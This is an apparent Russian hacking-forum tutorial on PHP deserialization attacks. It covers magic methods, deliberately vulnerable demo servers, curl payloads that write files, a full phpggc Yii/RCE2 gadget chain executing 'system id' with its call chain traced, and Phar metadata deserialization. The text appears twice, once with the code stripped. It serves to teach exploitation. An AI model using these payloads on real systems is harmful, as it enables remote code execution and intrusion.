D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
В этой статье мы разберём базовые аспекты сериализации и десериализации в PHP, а также посмотрим, как формируются определённые пэйлоуды (сериализованные строки), которые часто можно встретить в различных фреймворках.
Это продолжение предыдущей статьи, так что тут минимальные объяснения.
Класс — это инструкция по созданию объектов.
Объект — это экземпляр, созданный на основе класса (инструкции).
Код: Скопировать в буфер обмена
Код: Скопировать в буфер обмена
Если запустить этот код, на выходе мы получим что-то подобное:
Код: Скопировать в буфер обмена
Давайте разберём этот формат:
a: означает, что мы имеем дело с сериализованным массивом. После двоеточия указано число элементов массива.
s: означает строку, за которой идёт её длина в байтах и сама строка.
i: указывает на целочисленный индекс. Внутри фигурных скобок {} – данные массива.
Цифры указывают либо на количество элементов массива (a:3: говорит о трёх ключах массива), либо на длину строк. Структура вложенных массивов также отражена вложенными фигурными скобками.
Для десериализации воспользуемся простым скриптом:
Код: Скопировать в буфер обмена
Применим его к ранее полученной строке:
Код: Скопировать в буфер обмена
Результат:
Код: Скопировать в буфер обмена
Таким образом, мы смогли "восстановить" исходный массив из сериализованной строки.
Теперь перейдём от простых массивов к объектам. Возьмём следующий код:
Код: Скопировать в буфер обмена
При запуске:
Код: Скопировать в буфер обмена
Здесь мы видим следующее:
O:4:"User":2: говорит о том, что мы имеем объект (O) класса User с именем длиной 4 символа (User) и двумя свойствами. Далее перечислены эти свойства.
Важно: Конструктор __construct() был вызван при создании объекта $user. Сериализация объекта не вызывает конструктор ещё раз, она просто сохраняет текущее состояние свойств.
Попробуем заменить __construct на метод с другим именем (например, hmm):
Код: Скопировать в буфер обмена
Если запустить:
Код: Скопировать в буфер обмена
Теперь мы видим, что при создании объекта с помощью new User('alice', 'alice@example.com') метод hmm() не сработал, так как он не является конструктором. Имя конструктора в современных версиях PHP строго фиксировано как __construct. Без вызова конструктора (или без инициализации свойств другим образом) значения свойств остались N (NULL).
__sleep() вызывается перед сериализацией объекта через serialize(). Он должен вернуть массив свойств, которые нужно сериализовать.
Если мы проверим phpggc, то увидим, что там нет ни одного пейлоуда с вектором через __sleep. Технически, через __sleep тоже возможно воспользоваться десериализацией, просто он должен возвращать массив с именами свойств объекта, которые мы хотим сериализовать:
Код: Скопировать в буфер обмена
Ответ:
Код: Скопировать в буфер обмена
Файл создался
Код: Скопировать в буфер обмена
Но тут есть проблема: в нормальном случае не выйдет передать запрос в такой форме, чтобы он создал объект, а не массив или строку.
Объясню так: представим, что у нас веб-сервер, который будет сериализовать наш инпут:
Код: Скопировать в буфер обмена
Стартнем веб сервер:
Код: Скопировать в буфер обмена
Отправляем запрос:
Код: Скопировать в буфер обмена
Ответ:
Код: Скопировать в буфер обмена
Причина в том, что $_POST['data'] декодируется через json_decode с флагом true, что означает преобразование JSON в ассоциативный массив. Если вы отправите объект в JSON-формате (например, {"key":"value"}), json_decode вернёт массив ['key' => 'value'], а не объект.
Если мы уберём true:
Код: Скопировать в буфер обмена
Отправляем запрос:
Код: Скопировать в буфер обмена
Ответ:
Код: Скопировать в буфер обмена
Вместо Dangerous, здесь стоит stdClass. Когда мы вызываем json_decode без второго параметра, JSON-объекты интерпретируются как экземпляры stdClass — встроенного класса PHP для анонимных объектов. Объект типа stdClass создаётся по умолчанию, так как JSON не содержит информации о конкретном пользовательском классе.
А что если попробовать передать Dangerous в JSON? Даже если передадим JSON с информацией о классе, json_decode не создаст объект пользовательского класса — он просто не умеет это делать самостоятельно.
Код: Скопировать в буфер обмена
Ответ:
Код: Скопировать в буфер обмена
В каком случае можно будет вставить объект? Только если разработчик вручную создаст экземпляр класса Dangerous на основе входных данных. То есть нужно специально добавить уязвимость.
Код: Скопировать в буфер обмена
Запрос:
Код: Скопировать в буфер обмена
Ответ:
Код: Скопировать в буфер обмена
В целом понятно, почему __sleep мы почти нигде не встречаем. Тогда уязвимость назвали бы "сериализацией", а не "десериализацией".
__wakeup() вызывается после десериализации объекта через unserialize(). __sleep предназначен для подготовки объекта к сериализации, а __wakeup — для его восстановления после десериализации.
Всё что я сделал это поставил wakeup и unserialize
Код: Скопировать в буфер обмена
Запрос:
Код: Скопировать в буфер обмена
Ответ:
Код: Скопировать в буфер обмена
unserialize(). Обычно используется для восстановления ресурсов или установления необходимых соединений. Пример выше и так есть.
__destruct() вызывается при уничтожении объекта. Но важно понимать, что он не вызывается во время сериализации или десериализации, а только при фактическом уничтожении объекта (например, в конце выполнения скрипта). Меняем wakeup на destruct и всё сработает.
__toString() вызывается, когда объект пытаются преобразовать в строку (например, при echo $obj). В целом это означет то что нам нужно будет воспольсоваться echo, чтобы эта функция вызвалась
Пример с __toString():
Код: Скопировать в буфер обмена
Запрос:
Код: Скопировать в буфер обмена
Ответ:
Код: Скопировать в буфер обмена
Мы уже должны понимать суть магических методов и почему злоумышленники фокусируются именно на десериализации.
Код: Скопировать в буфер обмена
Наша цель, научится писать гаджеты самими, так как рано или поздно появится ситуация, в которой изучать мы это будем сами. Но чтобы научиться писать, нужен какой то пример чтобы разобрать его. Я просмотрел всего один видос на эту тему, он был интересным, хоть и я уснул 3 раза при просмотре видоса на 30 минут. Проблема в том что хоть и парень неплохо объяснил, он сам не понимал некоторые концепты и не объяснял "глубь" дела.
Значит чтобы понять что происходит на самом деле, я подключил PHPGGC к xdebug
Код: Скопировать в буфер обмена
Потом в xdebug качаете что надо и готово.(вы должны сделать ремоут дебуг через ssh, открыть местоположение phpggc).
Парочка вещей
Перед тем как продолжить, нужно понять парочку вещей.
Callback — это функция / метод, который можно передать как переменную и затем выполнить.
call_user_func_array — это функция PHP, которая вызывает коллбэк с массивом аргументов. Она позволяет выполнять функции динамически, передавая аргументы в виде массива.
Код: Скопировать в буфер обмена
Примеры коллбэков:
Код: Скопировать в буфер обмена
Продолжаем
Значит и так понятно то как phpggc работает, там код который генерирует пэйлоад. Вопрос в том, что именно работает, когда этот пэйлоад используется и как нам его потестить. Я лично (почти) ни в каком фреймворке уязвимости не находил. К счастью у phggc есть --test-payload. Но к сожалению, он только проверяет уязвима ли система и всё, мы не можем написать туда свой пэйлоад. Но тут появляется вопрос "Как он проверяет?".
Изображение [1]Поискав тест пэйлоад, можно увидеть, что если он используется, то работает функция test_payload($gc) без никаких аргументов от пользователя, кроме имени уязвимого продукта.
Код: Скопировать в буфер обмена
Скажу честно, написать что-то такого рода с нуля, на данный момент, не мой уровень, так что ожидайте Десериализацию 103. Но понять я точно смогу этот.
Код: Скопировать в буфер обмена
Начнём с анализа самого phpggc.
Изображение [2]Значит, тут он старается вызвать echo sha1 > sha1 и после проверяет, так ли это. В параметре всё видно:
Изображение [3]Значит, во время проверки он просто даёт текст в файл и проверяет, есть ли этот текст там. Если отредактировать код, то можно легко сделать так, чтобы он принимал именно то, что нам нужно. Но пока что давайте чекнем очередь.
Создаётся команда и аргумент
Код: Скопировать в буфер обмена
Посло происходит сериализация
Код: Скопировать в буфер обмена
Потом даётся 2 аргумента (vector и base64(payload)) в файл и выполняется файл.
Код: Скопировать в буфер обмена
Вектор у нас destruct. В этом случае скрипт просто десериализует пэйлоуд.
Код: Скопировать в буфер обмена
После того как мы поняли, как работает phpggc, вопросов стало больше, чем ответов. Что за vendor/autoload.php? Composer генерирует файл vendor/autoload.php, в котором прописан механизм автозагрузки. Почему это важно? Потому что autoload.php создаёт среду, где все классы, зарегистрированные в composer.json или используемых библиотеках, будут подгружаться автоматически по мере необходимости.
А теперь посмотрим на само приложение. Относительно phpggc наш гаджет таков:
Код: Скопировать в буфер обмена
Поначалу непонятно, как это приводит к RCE. Но ясно одно: сердцем механизма является WikiPublishTask.
WikiPublishTask создаёт cookiesFile. Чтобы создать его, используется ExactValueToken, который, в свою очередь, задействует PHPUnit_Extensions_Selenium2TestCase_Session, а там функция (например, system) передаётся как значение для stringify. Кроме того, PHPUnit_Extensions_Selenium2TestCase_Session использует PHPUnit_Extensions_Selenium2TestCase_URL и DocBlox_Parallel_Worker.
Код: Скопировать в буфер обмена
Ключевое слово extends указывает, что новый класс наследует свойства и методы другого класса — PHPUnit_Extensions_Selenium2TestCase_Element_Accessor.
Код: Скопировать в буфер обмена
Так как класс Element_Accessor абстрактный, мы не можем создать его экземпляр напрямую. Но Session наследует Element_Accessor, а тот — CommandsHolder, значит Session получает доступ ко всем методам и свойствам CommandsHolder.
Внутри CommandsHolder есть такое:
Код: Скопировать в буфер обмена
Метод __call вызывается, когда мы обращаемся к несуществующему методу. Он принимает имя вызываемого метода (\$commandName) и аргументы ($arguments). Проще говоря, если вызвать метод, которого нет, сработает __call. Не забывайте это.
$this->driver — это объект, который отвечает за выполнение команд. Он получает созданную команду и выполняет её через метод execute. То есть драйвер — это "исполнитель".
newCommand вызывает \$factoryMethod($jsonParameters, $url); — фактически system('id', $url) или аналог, в зависимости от того, что мы передадим.
Функция call_user_func_array позволяет вызвать функцию, передавая ей список аргументов в виде массива.
В конце когда посмотрим всё вместе я объясню причину, но вообще то функция execute делает буквально ничего для нас и если в гаджете заменить DocBlox_Parallel_Worker на S3GetTask ничего не поменяется.
Изображение [4]Внутри S3GetTask тоже есть функция execute().
Код: Скопировать в буфер обмена
Если команда — stringify, то станет /stringify.
Код: Скопировать в буфер обмена
$this->util — это Session. В Session нет метода stringify, поэтому вызывается __call в CommandsHolder.
Код: Скопировать в буфер обмена
Код: Скопировать в буфер обмена
Изображение [5]Так как мы создали cookiesFile воспользовавшись __construct, он является объектом. И работает такая функция:
Код: Скопировать в буфер обмена
file_exists вызовет __toString на объекте cookiesFile. Так как cookiesFile — это объект ExactValueToken, а там __toString вызывает stringify, которой нет, и мы уходим в __call, который, в итоге, запускает команду.
Почему именно PHPUnit_Extensions_Selenium2TestCase_Session?
Session нам нужен так как он вызовет __call внутри которого CommandsHolder.
Почему именно ExactValueToken?
Потому что там есть __toString который вызывает функцию которая не существует из-за чего начинает работать __call. Можнo ExactValueToken заменить на IdenticalValueToken, будет буквально одно и то же, так как там функция делает одно и то же:
Код: Скопировать в буфер обмена
Можно также воспользоваться ObjectStateToken.
Я это пишу потому что я просмотрел все toString и только в 3ёх методах вызывает функцию в которую мы можем ПЕРЕДАТь класс PHPUnit_Extensions_Selenium2TestCase_Session.
Вот сама функция stringify:
Код: Скопировать в буфер обмена
Он преобразует переданное значение в строку. Он поддерживает массивы, ресурсы, объекты, строки, булевые значения, null и другие типы данных. Например, массивы форматируются в строку вида "[ключ => значение]". В целом на вид тут нет RCE. Так что САМА эта функция ненужная НО она нам нужна тк в __toString должна использоваться функция stringify (НО не используется так как session не имеет её и вызывает __call).
Код: Скопировать в буфер обмена
newCommand сработает раньше execute. Из-за чего я и написал что execute на самом деле не важен
Код: Скопировать в буфер обмена
$url у нас '/stringify'.
Код: Скопировать в буфер обмена
Функция system('id', $url) выполняет команду id на уровне операционной системы. Эта команда показывает информацию о текущем пользователе (например, UID, GID). Если всё прошло успешно, команда возвращает код выхода 0. В программировании код выхода 0 обычно означает "успешное выполнение". В данном случае команда id выполняется корректно, поэтому возвращает 0. Этот код записывается в переменную $url.
$url важен только из-за того что он используется в newCommand:
Код: Скопировать в буфер обмена
Тут url это класс, как и записано внутри гаджета
Код: Скопировать в буфер обмена
Другого класса с функцией addCommand нет. Также если там вместо класса напрямую принял бы url, то можно было бы написать что угодно и это сработало бы.
Я отредактировал гаджет, чтобы убедиться в том что вышенаписанное работает:
Код: Скопировать в буфер обмена
Оказывается легко.
То что ниже, основано на одном приложении который я увидел. К сожалению просматривал его не на своём компе, так что не помню уже именно как там работала сериализация. Но был там loadXML , это точно.
Вот код который сгенерировал GPT с одной и той же логикой ХХЕ, логика сериализации отличается.
Код: Скопировать в буфер обмена
Метод __destruct автоматически вызывается при уничтожении объекта класса и записывает содержимое $content в файл с именем $filename. При получении POST-запроса из формы, код считывает XML-данные из поля xml. Затем с помощью DOMDocument загружается и парсится XML с опциями LIBXML_NOENT и LIBXML_DTDLOAD, что позволяет обработку внешних сущностей.
Изображение [6]В самом начале мы создавали сериализованный объект таким образом:
Код: Скопировать в буфер обмена
Делаем одно и то же, только с структурой phar. Я взял это из хектрикс:
Код: Скопировать в буфер обмена
Отредактировал:
Код: Скопировать в буфер обмена
Проверяем:
Код: Скопировать в буфер обмена
Проверяем:
Изображение [7]Код: Скопировать в буфер обмена
А теперь объяснение.
PHAR (PHP Archive) — это формат архивов, используемый для объединения нескольких PHP-файлов в один исполняемый файл. Класс Phar — это встроенный в PHP механизм, который позволяет упаковывать несколько файлов в один архив с возможностью его последующего запуска.
Если обратиться к официальной документации по Phar, можно увидеть описание внутренней структуры Phar-файла.
startBuffering сообщает объекту Phar, что мы начинаем вносить изменения в буфер. Пока буфер открыт, мы можем добавлять файлы, устанавливать метаданные и т.д. Никакие изменения не будут окончательно зафиксированы, пока мы не вызовем stopBuffering(). addFromString добавляет в Phar-файл новый файл с именем test.txt и содержимым 'text'. Это просто значит, что внутри test.phar теперь будет храниться текстовый файл test.txt с содержимым text.
setStub задаёт так называемый stub — специальный блок кода, который будет исполнен, когда Phar-файл будет запущен как PHP-скрипт. Когда позже вы будете использовать (запускать) этот test.phar, PHP сначала исполнит stub (до __HALT_COMPILER() ), а затем будет способен читать бинарную часть архива, включая метаданные.
Вызов setMetadata() устанавливает метаданные для Phar. В метаданные можно записать практически любые сериализуемые данные, включая объекты.
В итоге метаданные Phar-файла test.phar будут содержать сериализованную версию нашего объекта класса Dangerous.
Куда пропал test.txt?
Файл test.txt не «пропал» — он просто больше не существует отдельно в файловой системе, а теперь является частью созданного нами Phar-архива.
Почему происходит десериализация?
Если функция файловой системы вызывается с потоком phar в качестве аргумента, сериализованные метаданные Phar автоматически десериализуются.
Вообще то, если проверить ресурсы в интернете, вы эту технику увидете с LFI, а не с XXE. Просто дело в том что, тут тема полностью в врапперах, а не в самой уязвимости.
Это продолжение предыдущей статьи, так что тут минимальные объяснения.
Словарь
Сериализация – это процесс преобразования сложных структур данных в строковый формат. Проще говоря, это процесс превращения объекта в строку, чтобы его можно было сохранить или передать, а потом восстановить обратно при помощи десериализации.Класс — это инструкция по созданию объектов.
Объект — это экземпляр, созданный на основе класса (инструкции).
Код: Скопировать в буфер обмена
Код:
class Cat { // Класс — это "рецепт" для создания объектов.
public $name; // Свойство (характеристика) — имя кота.
public function meow() { // Метод (действие) — что кот умеет делать.
echo $this->name . " говорит: Мяу!";
}
}
// Создаём объект на основе класса Cat.
$myCat = new Cat();
$myCat->name = "Барсик"; // Устанавливаем имя кота.
$myCat->meow(); // Выводит: Барсик говорит: Мяу!
PHP
Рассмотрим следующий код:Код: Скопировать в буфер обмена
Код:
php
<?php
$userInfo = [
'username' => 'admin',
'email' => 'admin@example.com',
'roles' => ['admin', 'editor']
];
$serialized = serialize($userInfo);
echo $serialized, "\n";
Код: Скопировать в буфер обмена
a:3:{s:8:"username";s:5:"admin";s:5:"email";s:17:"admin@example.com";s:5:"roles";a:2:{i:0;s:5:"admin";i:1;s:6:"editor";}}
Давайте разберём этот формат:
a: означает, что мы имеем дело с сериализованным массивом. После двоеточия указано число элементов массива.
s: означает строку, за которой идёт её длина в байтах и сама строка.
i: указывает на целочисленный индекс. Внутри фигурных скобок {} – данные массива.
Цифры указывают либо на количество элементов массива (a:3: говорит о трёх ключах массива), либо на длину строк. Структура вложенных массивов также отражена вложенными фигурными скобками.
Для десериализации воспользуемся простым скриптом:
Код: Скопировать в буфер обмена
Код:
<?php
if ($argc < 2) {
echo "Usage: php unserialize_cli.php '<serialized_data>'\n";
exit(1);
}
$serialized = $argv[1];
$unserialized = unserialize($serialized);
if ($unserialized === false && $serialized !== serialize(false)) {
echo "Error: Failed to unserialize the input. Please ensure it's valid serialized data.\n";
exit(1);
}
print_r($unserialized);
?>
Код: Скопировать в буфер обмена
php unserialize_cli.php 'a:3:{s:8:"username";s:5:"admin";s:5:"email";s:17:"admin@example.com";s:5:"roles";a:2:{i:0;s:5:"admin";i:1;s:6:"editor";}}'
Результат:
Код: Скопировать в буфер обмена
Код:
Array
(
[username] => admin
[email] => admin@example.com
[roles] => Array
(
[0] => admin
[1] => editor
)
)
Теперь перейдём от простых массивов к объектам. Возьмём следующий код:
Код: Скопировать в буфер обмена
Код:
<?php
class User {
public $username;
public $email;
public function __construct($username, $email) {
$this->username = $username;
$this->email = $email;
print('My name is ' . $username . "\n");
}
}
$user = new User('alice', 'alice@example.com');
$serialize = serialize($user);
echo $serialize;
echo "\n";
?>
Код: Скопировать в буфер обмена
Код:
php example.php
My name is alice
O:4:"User":2:{s:8:"username";s:5:"alice";s:5:"email";s:17:"alice@example.com";}
O:4:"User":2: говорит о том, что мы имеем объект (O) класса User с именем длиной 4 символа (User) и двумя свойствами. Далее перечислены эти свойства.
Важно: Конструктор __construct() был вызван при создании объекта $user. Сериализация объекта не вызывает конструктор ещё раз, она просто сохраняет текущее состояние свойств.
Попробуем заменить __construct на метод с другим именем (например, hmm):
Код: Скопировать в буфер обмена
Код:
<?php
class User {
public $username;
public $email;
public function hmm($username, $email) {
$this->username = $username;
$this->email = $email;
print('My name is ' . $username . "\n");
}
}
$user = new User('alice', 'alice@example.com');
$serialize = serialize($user);
echo $serialize;
echo "\n";
Код: Скопировать в буфер обмена
Код:
php example.php
O:4:"User":2:{s:8:"username";N;s:5:"email";N;}
Магические методы сериализации
PHP предоставляет магические методы, которые помогают контролировать процесс сериализации и десериализации:__sleep() вызывается перед сериализацией объекта через serialize(). Он должен вернуть массив свойств, которые нужно сериализовать.
Если мы проверим phpggc, то увидим, что там нет ни одного пейлоуда с вектором через __sleep. Технически, через __sleep тоже возможно воспользоваться десериализацией, просто он должен возвращать массив с именами свойств объекта, которые мы хотим сериализовать:
Код: Скопировать в буфер обмена
Код:
<?php
class Dangerous {
public $filename;
public $content;
public function __sleep() {
file_put_contents($this->filename, $this->content);
return ['filename', 'content'];
}
}
$xd = new Dangerous();
$xd ->filename = '/tmp/kupalinka.txt';
$xd ->content = ' cyomnaya nochka...';
$serialize = serialize($xd);
echo $serialize;
echo "\n";
?>
Код: Скопировать в буфер обмена
O:9:"Dangerous":2:{s:8:"filename";s:18:"/tmp/kupalinka.txt";s:7:"content";s:19:" cyomnaya nochka...";}
Файл создался
Код: Скопировать в буфер обмена
Код:
cat /tmp/kupalinka.txt
cyomnaya nochka...
Объясню так: представим, что у нас веб-сервер, который будет сериализовать наш инпут:
Код: Скопировать в буфер обмена
Код:
<?php
class Dangerous {
public $filename;
public $content;
public function __sleep() {
file_put_contents($this->filename, $this->content);
return ['filename', 'content'];
}
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$malicious = json_decode($_POST['data'] ?? '', true);;
if (!empty($malicious)) {
serialize($malicious);
echo serialize($malicious);
echo "\n";
} else {
echo "No input provided.";
}
} else {
echo "Please send a POST request with the serialized data in the 'data' field.";
}
?>
Код: Скопировать в буфер обмена
php -S 0.0.0.0 8080
Отправляем запрос:
Код: Скопировать в буфер обмена
curl http://localhost:8080/xss.php -X POST -d 'data={"filename":"/tmp/kupalinka.txt","content":"cyomnaya nochka..."}'
Ответ:
Код: Скопировать в буфер обмена
a:2:{s:8:"filename";s:18:"/tmp/kupalinka.txt";s:7:"content";s:18:"cyomnaya nochka...";}
Причина в том, что $_POST['data'] декодируется через json_decode с флагом true, что означает преобразование JSON в ассоциативный массив. Если вы отправите объект в JSON-формате (например, {"key":"value"}), json_decode вернёт массив ['key' => 'value'], а не объект.
Если мы уберём true:
Код: Скопировать в буфер обмена
Код:
<?php
class Dangerous {
public $filename;
public $content;
public function __sleep() {
file_put_contents($this->filename, $this->content);
return ['filename', 'content'];
}
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$malicious = json_decode(
?? '');;
if (!empty($malicious)) {
serialize($malicious);
echo serialize($malicious);
echo "\n";
} else {
echo "No input provided.";
}
} else {
echo "Please send a POST request with the serialized data in the 'data' field.";
}
?>
Код: Скопировать в буфер обмена
curl http://localhost:8080/xss.php -X POST -d 'data={"filename":"/tmp/kupalinka.txt","content":"cyomnaya nochka..."}'
Ответ:
Код: Скопировать в буфер обмена
O:8:"stdClass":2:{s:8:"filename";s:18:"/tmp/kupalinka.txt";s:7:"content";s:18:"cyomnaya nochka...";}
Вместо Dangerous, здесь стоит stdClass. Когда мы вызываем json_decode без второго параметра, JSON-объекты интерпретируются как экземпляры stdClass — встроенного класса PHP для анонимных объектов. Объект типа stdClass создаётся по умолчанию, так как JSON не содержит информации о конкретном пользовательском классе.
А что если попробовать передать Dangerous в JSON? Даже если передадим JSON с информацией о классе, json_decode не создаст объект пользовательского класса — он просто не умеет это делать самостоятельно.
Код: Скопировать в буфер обмена
curl http://localhost:8080/des3.php -X POST -d 'data={"Dangerous":{"filename":"/tmp/kupalinka.txt","content":"cyomnaya nochka..."}}'
Ответ:
Код: Скопировать в буфер обмена
O:8:"stdClass":1:{s:9:"Dangerous";O:8:"stdClass":2:{s:8:"filename";s:18:"/tmp/kupalinka.txt";s:7:"content";s:18:"cyomnaya nochka...";}}
В каком случае можно будет вставить объект? Только если разработчик вручную создаст экземпляр класса Dangerous на основе входных данных. То есть нужно специально добавить уязвимость.
Код: Скопировать в буфер обмена
Код:
<?php
class Dangerous {
public $filename;
public $content;
public function __sleep() {
file_put_contents($this->filename, $this->content);
return ['filename', 'content'];
}
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$malicious = json_decode($_POST['data'] ?? '', true);
if (!empty($malicious)) {
$dangerous = new Dangerous();
$dangerous->filename = $malicious['filename'];
$dangerous->content = $malicious['content'];
echo serialize($dangerous);
echo "\n";
} else {
echo "No input provided.";
}
} else {
echo "Please send a POST request with the serialized data in the 'data' field.";
}
?>
Код: Скопировать в буфер обмена
curl http://localhost:8080/des3.php -X POST -d 'data={"filename":"/tmp/kupalinka.txt","content":"cyomnaya nochka..."}'
Ответ:
Код: Скопировать в буфер обмена
Код:
O:9:"Dangerous":2:{s:8:"filename";s:18:"/tmp/kupalinka.txt";s:7:"content";s:18:"cyomnaya nochka...";}
cat /tmp/kupalinka.txt
cyomnaya nochka...
__wakeup() вызывается после десериализации объекта через unserialize(). __sleep предназначен для подготовки объекта к сериализации, а __wakeup — для его восстановления после десериализации.
Всё что я сделал это поставил wakeup и unserialize
Код: Скопировать в буфер обмена
Код:
<?php
class Dangerous {
public $filename;
public $content;
public function __wakeup() {
file_put_contents($this->filename, $this->content);
}
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$malicious = $_POST['data'];
if (!empty($malicious)) {
unserialize($malicious);
} else {
echo "No input provided.";
}
} else {
echo "Please send a POST request with the serialized data in the 'data' field.";
}
?>
Код: Скопировать в буфер обмена
curl http://localhost:8080/xss.php -X POST -d 'data=O:9:"Dangerous":2:{s:8:"filename";s:18:"/tmp/kupalinka.txt";s:7:"content";s:19:" cyomnaya nochka...";}'
Ответ:
Код: Скопировать в буфер обмена
Код:
cat /tmp/kupalinka.txt
cyomnaya nochka...
__destruct() вызывается при уничтожении объекта. Но важно понимать, что он не вызывается во время сериализации или десериализации, а только при фактическом уничтожении объекта (например, в конце выполнения скрипта). Меняем wakeup на destruct и всё сработает.
__toString() вызывается, когда объект пытаются преобразовать в строку (например, при echo $obj). В целом это означет то что нам нужно будет воспольсоваться echo, чтобы эта функция вызвалась
Пример с __toString():
Код: Скопировать в буфер обмена
Код:
<?php
class Dangerous {
public $filename;
public $content;
public function __toString() {
file_put_contents($this->filename, $this->content);
return "Worked";
}
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$malicious = $_POST['data'];
if (!empty($malicious)) {
echo unserialize($malicious);
echo "\n";
} else {
echo "No input provided.";
}
} else {
echo "Please send a POST request with the serialized data in the 'data' field.";
}
?>
Код: Скопировать в буфер обмена
Код:
curl http://localhost:8080/xss.php -X POST -d 'data=O:9:"Dangerous":2:{s:8:"filename";s:18:"/tmp/kupalinka.txt";s:7:"content";s:19:" cyomnaya nochka...";}'
Worked
Код: Скопировать в буфер обмена
Код:
Worked
cat /tmp/kupalinka.txt
cyomnaya nochka...
Гаджеты
Гаджеты (gadgets) — это фрагменты кода, которые можно использовать при эксплуатации уязвимостей десериализации. PHPGGC — это инструмент, который помогает находить такие цепочки гаджетов для известных фреймворков, библиотек и приложений. Например, для Yii/RCE2:Код: Скопировать в буфер обмена
Код:
Laravel/RCE19 1.1.20 RCE: Function Call __destruct
phpggc Yii/RCE2 system id
O:15:"WikiPublishTask":1:{s:28:"WikiPublishTaskcookiesFile";O:39:"Prophecy\Argument\Token\ExactValueToken":2:{s:45:"Prophecy\Argument\Token\ExactValueTokenutil";O:44:"PHPUnit_Extensions_Selenium2TestCase_Session":3:{s:11:"*commands";a:1:{s:9:"stringify";s:6:"system";}s:6:"*url";O:40:"PHPUnit_Extensions_Selenium2TestCase_URL":0:{}s:9:"*driver";O:23:"DocBlox_Parallel_Worker":0:{}}s:46:"Prophecy\Argument\Token\ExactValueTokenvalue";s:2:"id";}}
Значит чтобы понять что происходит на самом деле, я подключил PHPGGC к xdebug
Ставим стэнд
Для отладки и понимания мы ставим необходимое окружение (PHP, xdebug и т.д.).Код: Скопировать в буфер обмена
Код:
sudo add-apt-repository ppa:ondrej/php
sudo apt install php8.1 php8.1-cli php8.1-common php8.1-mysql php8.1-xml php8.1-mbstring php8.1-curl php8.1-zip php8.1-bcmath php8.1-intl
sudo update-alternatives --set php /usr/bin/php8.1
wget 'https://github.com/yiisoft/yii/archive/refs/tags/1.1.20.zip'
unzip 1.1.20.zip
cp yii-1.1.20 /var/www/html -R
chown www-data:www-data /var/www/html -R
apt install php8.1-xdebug php8.1-fpm -y
nano /etc/php/8.1/cli/php.ini
zend_extension=xdebug.so
xdebug.mode=debug
xdebug.start_with_request=yes
xdebug.client_host=127.0.0.1
xdebug.client_port=9003
xdebug.log=/tmp/xdebug.log
Парочка вещей
Перед тем как продолжить, нужно понять парочку вещей.
Callback — это функция / метод, который можно передать как переменную и затем выполнить.
call_user_func_array — это функция PHP, которая вызывает коллбэк с массивом аргументов. Она позволяет выполнять функции динамически, передавая аргументы в виде массива.
Код: Скопировать в буфер обмена
call_user_func_array(callable $callback, array $args);
Примеры коллбэков:
Код: Скопировать в буфер обмена
Код:
function add($a, $b) {
return $a + $b;
}
// Динамический вызов функции
$result = call_user_func_array('add', [2, 3]);
echo $result; // Вывод: 5
Значит и так понятно то как phpggc работает, там код который генерирует пэйлоад. Вопрос в том, что именно работает, когда этот пэйлоад используется и как нам его потестить. Я лично (почти) ни в каком фреймворке уязвимости не находил. К счастью у phggc есть --test-payload. Но к сожалению, он только проверяет уязвима ли система и всё, мы не можем написать туда свой пэйлоад. Но тут появляется вопрос "Как он проверяет?".
Археология
Копаем, короче, чтобы понять, что-где-когда. Начнём с самого простого.Изображение [1]
Код: Скопировать в буфер обмена
Код:
$gc = $this->get_gadget_chain($class);
// $class в нашем случаи Yii/RCE2
// $gc это то что внутри Yii/RCE2 chain.php
То что ниже в нашем случаи
<?php
namespace GadgetChain\Yii;
class RCE2 extends \PHPGGC\GadgetChain\RCE\FunctionCall
{
public static $version = '1.1.20';
public static $vector = '__destruct';
public static $author = ' ';
public function generate(array $parameters)
{
$function = $parameters['function'];
$parameter = $parameters['parameter'];
$a = new \WikiPublishTask($function, $parameter);
return $a;
}
}
Код: Скопировать в буфер обмена
phpggc --test-payload Yii/RCE2 system id
Начнём с анализа самого phpggc.
Изображение [2]
Изображение [3]
Создаётся команда и аргумент
Код: Скопировать в буфер обмена
Код:
lib/PHPGGC.php
$arguments = $gc->test_setup();
lib/PHPGGC/GadgetChain/RCE/FunctionCall.php
public function test_setup()
{
$command = $this->_test_build_command();
return [
'function' => 'system',
'parameter' =>
$command
];
}
lib/PHPGGC/GadgetChain/RCE.php
protected function _test_build_command()
{
$this->__test_rand_token = sha1(rand());
$this->__test_rand_path = \PHPGGC\Util::rand_path();
return
'echo ' . $this->__test_rand_token .
' > ' . $this->__test_rand_path
;
}
Код: Скопировать в буфер обмена
$payload = $this->serialize($gc, $arguments);
Потом даётся 2 аргумента (vector и base64(payload)) в файл и выполняется файл.
Код: Скопировать в буфер обмена
Код:
lib/PHPGGC.php
$output = shell_exec(
PHP_BINARY . ' ' .
escapeshellarg(DIR_LIB . '/test_payload.php') . ' ' .
escapeshellarg($vector) . ' ' .
escapeshellarg(base64_encode($payload))
);
lib/test_payload.php
#!/usr/bin/env php
<?php
# Runs given payload assuming given vector
# TODO Add offsetGet, etc. when the time comes
error_reporting(E_ALL);
if($argc < 2)
{
print($argv[0] . ' <vector> <base64_payload>' . "\n");
exit(0);
}
$vector = $argv[1];
$payload = base64_decode($argv[2]);
if(file_exists('test.php'))
{
require('test.php');
exit(0);
}
if(!file_exists('vendor/autoload.php'))
{
fwrite(STDERR, 'Unable to load either test.php or vendor/autoload.php' . "\n");
exit(1);
}
require('vendor/autoload.php');
# The payload must be processed in function of its form:
# Phar: Try to get the content of the only file in the PHAR file
switch($vector)
{
case 'phar':
$phar = sys_get_temp_dir() . '/phpggc.phar';
file_put_contents($phar, $payload);
var_dump(file_get_contents('phar://' . $phar . '/test.txt'));
unlink($phar);
break;
case '__toString':
$payload = unserialize($payload);
print($payload);
break;
case '__destruct':
case '__wakeup':
$payload = unserialize($payload);
break;
default:
print('Unable to test payload via vector "' . $vector . '"' . "\n");
}
Код: Скопировать в буфер обмена
Код:
cat /tmp/phpggc64b4245e7c881f0df4610caedcf3e95d06d85e38
4fcdcddc5632cedbe5c1e27328bbb4e453dd046c
А теперь посмотрим на само приложение. Относительно phpggc наш гаджет таков:
Код: Скопировать в буфер обмена
Код:
<?php
namespace Prophecy\Argument\Token
{
class ExactValueToken
{
private $util;
private $value;
function __construct($function, $parameter)
{
$this->util = new \PHPUnit_Extensions_Selenium2TestCase_Session($function);
